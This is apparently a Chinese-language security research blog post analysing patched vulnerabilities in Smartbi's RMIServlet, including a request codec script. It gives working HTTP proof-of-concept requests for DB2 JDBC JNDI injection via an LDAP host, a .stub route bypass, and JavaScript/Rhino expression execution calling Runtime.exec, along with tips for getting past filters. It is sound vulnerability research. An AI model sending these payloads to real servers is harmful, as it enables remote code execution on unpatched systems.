plain = self.algorithm.decode_request(normalized)
return self.split_plain_request_text(plain)
def encode_response_text(self, plain_text: str) -> str:
return self.algorithm.encode_response(plain_text)
def decode_response_text(self, encoded_text: str) -> str:
normalized = self.normalize_captured_value(encoded_text)
return self.algorithm.decode_response(normalized)
# Edit the values in this section and run this file directly.
ALGORITHM = "SF1"
REQUEST_CLASS_NAME = "CatalogService"
REQUEST_METHOD_NAME = "getDBVersion"
REQUEST_PARAMS_TEXT = "[]"
REQUEST_ENCODED_VALUE = "t(k(Sw-Wp4gRip+-pkTVZp4DRw6+/JV/JT"
RESPONSE_PLAIN_TEXT = "{\"retCode\":0,\"result\":{\"smartbi.eagle.question\":\"0.0.5\",\"smartbi.macro\":\"0.0.46\",\"smartbi.uploadimg\":\"0.0.2\",\"smartbix.dataagent.module\":\"0.0.3\",\"smartbix.smartbi\":\"0.0.104\",\"smartbi.extension\":\"0.0.1\",\"smartbi.module.socialcontact\":\"0.0.6\",\"smartbi.ext.function\":\"0.0.3\",\"smartbi.repository\":\"0.0.73\",\"smartbi.insight\":\"0.0.24\",\"smartbi.decisionpanel\":\"0.0.65\",\"smartbi.daq\":\"0.0.20\",\"smartbi.message\":\"0.0.10\",\"smartbi.module.export\":\"0.0.5\",\"smartbi.spreadsheetreport\":\"0.0.21\",\"smartbi.freequery.watermark\":\"0.0.1\",\"smartbi.industrycase\":\"0.0.1\",\"smartbi.hotreport\":\"0.0.2\",\"smartbi.aiext\":\"0.0.13\",\"smartbi.chart\":\"0.0.54\",\"smartbi.catalogtree\":\"0.0.31\",\"smartbi.scheduletask\":\"0.0.31\",\"smartbi.module.socialcontactshare\":\"0.0.12\",\"smartbi.ipad\":\"0.0.16\",\"smartbi.module.exportrule\":\"0.0.3\",\"smartbi.olap\":\"0.0.53\",\"smartbi.timeconsuming\":\"0.0.4\",\"smartbi.websheet\":\"0.0.1\",\"smartbi.config\":\"0.0.1\",\"smartbi.datapackage\":\"0.0.4\",\"smartbi.mobileportal\":\"0.0.6\",\"smartbi.composite\":\"0.0.43\",\"smartbi.usermanager\":\"0.0.81\",\"smartbi.exptemplate\":\"0.0.4\",\"smartbi.metadata\":\"0.0.12\",\"smartbi.eagle.appstore\":\"0.0.10\",\"smartbi.eagle.navigation\":\"0.0.2\",\"smartbi.alert\":\"0.0.1\",\"smartbi.oltp\":\"2.2.134\",\"smartbi.param\":\"0.0.2\",\"smartbi.workflow\":\"0.0.15\",\"smartbi.officereport\":\"0.0.3\",\"smartbi.auditing\":\"0.0.8\",\"smartbi.combinedquery\":\"0.0.19\",\"smartbi.offline\":\"0.0.2\",\"smartbi.beforestartup\":\"0.0.1\"},\"duration\":1}"
RESPONSE_ENCODED_TEXT = ":\"H~CxOm~\"{q,\"H~*2KC\"{:\"*9EHCwcj~EvK~j.2~*CcO'\"{\"qjqjp\",\"*9EHCwcj9EIHO\"{\"qjqjrn\",\"*9EHCwcj2eKOEmc9v\"{\"qjqjy\",\"*9EHCwcFjmECEEv~'Cj9Om2K~\"{\"qjqjN\",\"*9EHCwcFj*9EHCwc\"{\"qjqj1qr\",\"*9EHCwcj~FC~'*cO'\"{\"qjqj1\",\"*9EHCwcj9Om2K~j*OIcEKIO'CEIC\"{\"qjqjn\",\"*9EHCwcj~FCj-2'ICcO'\"{\"qjqjN\",\"*9EHCwcjH~eO*cCOH_\"{\"qjqj0N\",\"*9EHCwcjc'*cvdC\"{\"qjqjyr\",\"*9EHCwcjm~Ic*cO'eE'~K\"{\"qjqjnp\",\"*9EHCwcjmE.\"{\"qjqjyq\",\"*9EHCwcj9~**Ev~\"{\"qjqj1q\",\"*9EHCwcj9Om2K~j~FeOHC\"{\"qjqjp\",\"*9EHCwcj*eH~Em*d~~CH~eOHC\"{\"qjqjy1\",\"*9EHCwcj-H~~.2~H_joEC~H9EHt\"{\"qjqj1\",\"*9EHCwcjc'm2*CH_IE*~\"{\"qjqj1\",\"*9EHCwcjdOCH~eOHC\"{\"qjqjy\",\"*9EHCwcjEc~FC\"{\"qjqj1N\",\"*9EHCwcjIdEHC\"{\"qjqjpr\",\"*9EHCwcjIECEKOvCH~~\"{\"qjqjN1\",\"*9EHCwcj*Id~m2K~CE*t\"{\"qjqjN1\",\"*9EHCwcj9Om2K~j*OIcEKIO'CEIC*dEH~\"{\"qjqj1y\",\"*9EHCwcjceEm\"{\"qjqj1n\",\"*9EHCwcj9Om2K~j~FeOHCH2K~\"{\"qjqjN\",\"*9EHCwcjOKEe\"{\"qjqjpN\",\"*9EHCwcjCc9~IO'*29c'v\"{\"qjqjr\",\"*9EHCwcjo~w*d~~C\"{\"qjqj1\",\"*9EHCwcjIO'-cv\"{\"qjqj1\",\"*9EHCwcjmECEeEItEv~\"{\"qjqjr\",\"*9EHCwcj9OwcK~eOHCEK\"{\"qjqjn\",\"*9EHCwcjIO9eO*cC~\"{\"qjqjrN\",\"*9EHCwcj2*~H9E'Ev~H\"{\"qjqjL1\",\"*9EHCwcj~FeC~9eKEC~\"{\"qjqjr\",\"*9EHCwcj9~CEmECE\"{\"qjqj1y\",\"*9EHCwcj~EvK~jEee*COH~\"{\"qjqj1q\",\"*9EHCwcj~EvK~j'EJcvECcO'\"{\"qjqjy\",\"*9EHCwcjEK~HC\"{\"qjqj1\",\"*9EHCwcjOKCe\"{\"yjyj1Nr\",\"*9EHCwcjeEHE9\"{\"qjqjy\",\"*9EHCwcjoOHt-KOo\"{\"qjqj1p\",\"*9EHCwcjO--cI~H~eOHC\"{\"qjqjN\",\"*9EHCwcjE2mcCc'v\"{\"qjqjL\",\"*9EHCwcjIO9wc'~m.2~H_\"{\"qjqj17\",\"*9EHCwcjO--Kc'~\"{\"qjqjy\",\"*9EHCwcjw~-OH~*CEHC2e\"{\"qjqj1\"},\"m2HECcO'\"{1}"
def demo_request(codec: SmartbiRMICodec) -> None:
request_value = codec.encode_request_value(REQUEST_CLASS_NAME, REQUEST_METHOD_NAME, REQUEST_PARAMS_TEXT)
request_body = codec.encode_request_body(REQUEST_CLASS_NAME, REQUEST_METHOD_NAME, REQUEST_PARAMS_TEXT)
decoded_class, decoded_method, decoded_params = codec.decode_request_value(REQUEST_ENCODED_VALUE)
print("=== Request Encode ===")
print(request_value)
print(request_body)
print("=== Request Decode ===")
print(decoded_class)
print(decoded_method)
print(decoded_params)
def demo_response(codec: SmartbiRMICodec) -> None:
response_encoded = codec.encode_response_text(RESPONSE_PLAIN_TEXT)
response_decoded = codec.decode_response_text(RESPONSE_ENCODED_TEXT)
print("=== Response Encode ===")
print(response_encoded)
print("=== Response Decode ===")
print(response_decoded)
if __name__ == "__main__":
codec = SmartbiRMICodec(ALGORITHM)
demo_request(codec)
demo_response(codec)
上面的脚本还加入了响应解密的功能,对应smartbi.util.codeutil.ReplaceCoder#decodeResponse
RMIInfo解析完毕,该调用特定方法了。
看smartbi.framework.rmi.RMIServlet#processExecute:


开头的RMIModule记录了可以调用的Service,可以在调试中列出来。
RMIModule module = RMIModule.getInstance();
HashMap<String, ClientService> services = (HashMap) module.getServices();
StringBuilder sb = new StringBuilder();
for (String key : services.keySet()){
ClientService clientService = services.get(key);
String className = clientService.getModule().getClass().getName();
String serviceName = key;
List<Method> methods = clientService.getMethods();
for (Method method : methods){
String methodName1 = method.getName();
sb.append(serviceName + "---" + className + "#" + methodName1 + "\n");
}
sb.append("\n\n");
}
File file = new File("RMIServiceMethod.txt");
FileOutputStream fos = new FileOutputStream(file);
fos.write(sb.toString().getBytes());
String absolutePath = file.getAbsolutePath();
return "文件已经写入:" + absolutePath;
RMIServlet的职责,简单来说,就是调用指定的方法(需要满足鉴权条件)
V10
根本职责和V11一样,只不过RMIInfo的解析过程稍有不同,这也是其windowUnloading鉴权绕过的原因,接下来会进行分析。
下面先讲DB2相关的三个漏洞。
前置说明,V11中,RMIServlet需要鉴权,可以通过最新的绕过获取先cookie再复现。该绕过在patch<20250731时可用。

GET /smartbi/vision/share.jsp?resid=96a0a9d0b86f90d5416d013f4cfe2f23 HTTP/1.1
Host: 127.0.0.1:18080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
DB2命令执行漏洞
通过DB2的JDBC参数,实现JNDI攻击
分析

这里直接看漏洞方法即可。
testConnection和testConnectionList本质一样,只是传一个连接还是传多个连接的区别。
这里看testConnection:

跟进第一个has:

这里会对url里的clientRerouteServerListJNDIName进行拦截,这里其实就是防护点,因为用java-chains生成的payload中,就是通过这个参数去触发JNDI:

跟进第二个has:

这里也是对url做了一定限制,要求不能使用文件型hsql,且validationQuery中不能有分号,且一般情况要以select开头,具体可以自己看一下,比较简单。
最后多次跟进testConnection会来到smartbi.freequery.basicdata.DataSourceHandleHelper#testConnection:

这里最好保证每个被get的属性都有值,不然可能会出现空指针报错,因为这里的dataSource实际上是一个代理类,最终是通过jackson去获取值的:

同时,最好让password有值,这样能经过不必要的if:

经过两个if后,跟进下面的getConnection:


这里又对url进行了一遍检测。为了通过this.kerberosLogin,可以不设置kerberosLogin属性。为了跳过if,可以把validationQueryMethod设置成3。这样就能直接调用到最底下的getConnectionBeyondPool,从而触发JDBC连接。
V10版本虽然运行不起来,但是源码还是能看到的。

能看到老版本是没有在源码处做拦截的,所以需要通过补丁在filter处进行拦截。
POC
POST /smartbi/vision/RMIServlet HTTP/1.1
Host: 127.0.0.1:18080
Cookie: JSESSIONID=5B0F6C2BB55CC497022AD7FD047C70D0
Content-Type: application/x-www-form-urlencoded
className=DataSourceService&methodName=testConnection¶ms=[{"url":"jdbc:db2://127.0.0.1:50001/BLUDB:clientRerouteServerListJNDIName=ldap://127.0.0.1:50389/4c94ba;","name":"baka666","driverType":"DB2","validationQuery":"select","driver":"com.ibm.db2.jcc.DB2Driver","maxConnection":"100","transactionIsolation":"1","validationQueryMethod":"3","authenticationType":"test","driverCatalog":"test"}]由于漏洞已经被修复了,这里想要复现的话,可以打断点,先把clientRerouteServerListJNDIName去掉一个字母,等通过所有拦截后,再在变量中改回来。
最终也是成功触发:

如果选择的是testConnectionList方法,只需要给params再套一层[]:
POST /smartbi/vision/RMIServlet HTTP/1.1
Host: 127.0.0.1:18080
Cookie: JSESSIONID=5B0F6C2BB55CC497022AD7FD047C70D0
Content-Type: application/x-www-form-urlencoded
className=DataSourceService&methodName=testConnectionList¶ms=[[{"url":"jdbc:db2://127.0.0.1:50001/BLUDB:clientRerouteServerListJNDINam=ldap://127.0.0.1:50389/4c94ba;","name":"baka666","driverType":"DB2","validationQuery":"select","driver":"com.ibm.db2.jcc.DB2Driver","maxConnection":"100","transactionIsolation":"1","validationQueryMethod":"3","authenticationType":"test","driverCatalog":"test"}]]修复


对这两个方法的params做了拦截,不允许出现clientRerouteServerListJNDIName。
stub接口绕过——DB2命令执行
这里漏洞应该只存在于V10版本,V11版本下,*.stub通过smartbi.framework.rmi.StubServlet统一处理:

只支持GET,不会调用任何Service。
分析


V10版本的web.xml文件如上,*.stub对应的也是RMIServlet。
但是要注意,*.stub的问题,之前也修过一次:

当时的Rule:

只拒绝了POST请求。
但是RMIServlet只要加上jsonpCallback就能从GET转到POST方法:

所以当时的*.stub修复不完全,导致了绕过。
POC
GET /smartbi/vision/xxxxx.js.stub?className=DataSourceService&methodName=testConnection¶ms={{urlesc([{"url":"jdbc:db2://127.0.0.1:50001/BLUDB:clientRerouteServerListJNDIName=ldap://127.0.0.1:50389/4c94ba;","name":"baka666","driverType":"DB2","validationQuery":"select","driver":"com.ibm.db2.jcc.DB2Driver","maxConnection":"100","transactionIsolation":"1","validationQueryMethod":"3","authenticationType":"test","driverCatalog":"test"}])}} HTTP/1.1
Host: 127.0.0.1:18080
Cookie: JSESSIONID=5B0F6C2BB55CC497022AD7FD047C70D0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
修复
禁了jsonpCallback

黑名单方法绕过——DB2命令执行
分析
以下分析中全为V10代码。


看补丁,这里其实有两个漏洞,一个是获取用户密码,从而获取有效cookie,另一个就是通过新的方法,触发JDBC攻击。
这里重点看新的JDBC触发方法。
然而,经过一通分析后,并没有在补丁中几个新增的方法里找到能够触发JDBC连接的点。不过倒是发现了另一个能触发JDBC连接的方法,smartbi.freequery.client.datasource.DataSourceService#simpleTestConnection:

这里关注URL怎么形成。跟进translateDriverInfo:

很明显,能够在serverName或者dbName上动手脚。
修复
这个方法直到20250327才被修复:

V11版本的代码中做了恶意参数的校验,不用依赖于补丁:

其他JDBC

这里比较常见的有db2,hsql,mysql,postgre。
另外,还有一个kingbase8,这是我最近在SUCTF里新认识的,是基于postgre二开的一个组件,可能存在postgre的同种漏洞。
https://fushuling.com/index.php/2026/03/17/xctf-suctf2026-jdbc-masterwms/
这里不具体展开分析每一种是否能利用了,留给读者自己思考。
上面把DB2相关的漏洞讲了,下面补充一些其他的。
checkExpression表达式执行
分析
对应的漏洞为:

漏洞方法在smartbix.smartbi.metricsmodel.MetricsModelForVModule#checkExpression:

很直接,是一个JS引擎的表达式执行,且任意用户都能执行。
POST /smartbi/vision/RMIServlet HTTP/1.1
Host: 127.0.0.1:18080
Cookie: JSESSIONID=C0ED567BC1AF92DC52FC0950B4F96F54
Content-Type: application/x-www-form-urlencoded
className=MetricsModelForVModule&methodName=checkExpression¶ms=["java.lang.Runtime.getRuntime().exec('calc')"]虽然这个漏洞写的是非授权访问,但是我看了一下其他被patch的方法,并没有能够获取有效cookie的。所以这里指的非授权大概率是权限校验的问题,即任意用户都能调用这个方法的情况是危险的,这个方法理应只能被授权的用户调用。
修复

会对当前用户是否有METRICS_METRIC_MANAGER的函数权限进行校验,同时只允许表达式中出现纯数字。
checkJavaScript Rhino表达式执行
分析

这里的漏洞和上面的情况一样,都属于后台利用,只不过原本是允许任意用户执行,修复后变成了授权用户才可执行。
smartbix.smartbi.AugmentedDataSetForVModule#checkJavaScript:

一路跟进,来到smartbix.augmenteddataset.bo.impl.JSViewBO#init:

这里的jsonDefine是从我们传入的view中获取的,然后赋值给javaScript属性。
跟进initInner:

会执行Rhino表达式,从而实现利用。

POC
需要任意权限的用户,修复后,用管理员的cookie也能触发
POST /smartbi/vision/RMIServlet HTTP/1.1
Host: 127.0.0.1:18080
Cookie: JSESSIONID=814DF2392C5C2A125005D18FC9C3F369
Content-Type: application/x-www-form-urlencoded
className=AugmentedDataSetForVModule&methodName=checkJavaScript¶ms=[{"define":{"javaScript":"java.lang.Runtime.getRuntime().exec('calc')"}}]修复
检查用户是否有对应权限。


RMIServlet的漏洞还有很多,这里不一一分析了,读者可以参考上面的流程,对需要的漏洞自行进行分析。
总结
看到RMIServlet能调用限定范围内的Service Method时,我想起了之前看的用友U8Cloud,U8Cloud里有一个接口/servlet/xxx,也能够调用限定的方法。这种方法调用的设计理念,虽然能带来很多便利,但在安全上会出现不少麻烦。方便和安全,往往对立的。
附录
http://www.smartbi.com.cn/download 下载链接
https://wiki.smartbi.com.cn/pages/viewpage.action?smt_poid=43&pageId=114987452 安装文档
https://www.smartbi.com.cn/patchinfo 安全补丁
https://wiki.smartbi.com.cn/pages/viewpage.action?smt_poid=43&pageId=128132105 安全漏洞修复说明
https://wiki.smartbi.com.cn/pages/viewpage.action?smt_poid=43&pageId=111890439 扩展包结构
参考
https://mp.weixin.qq.com/s/aIyGt5OKlYCL-NPfd0G2Jw
https://forum.butian.net/share/4537 Smartbi 最新漏洞+后利用打入内存马
https://mp.weixin.qq.com/s/JefvpVTxAT9bDM95ELRZKw

写的非常好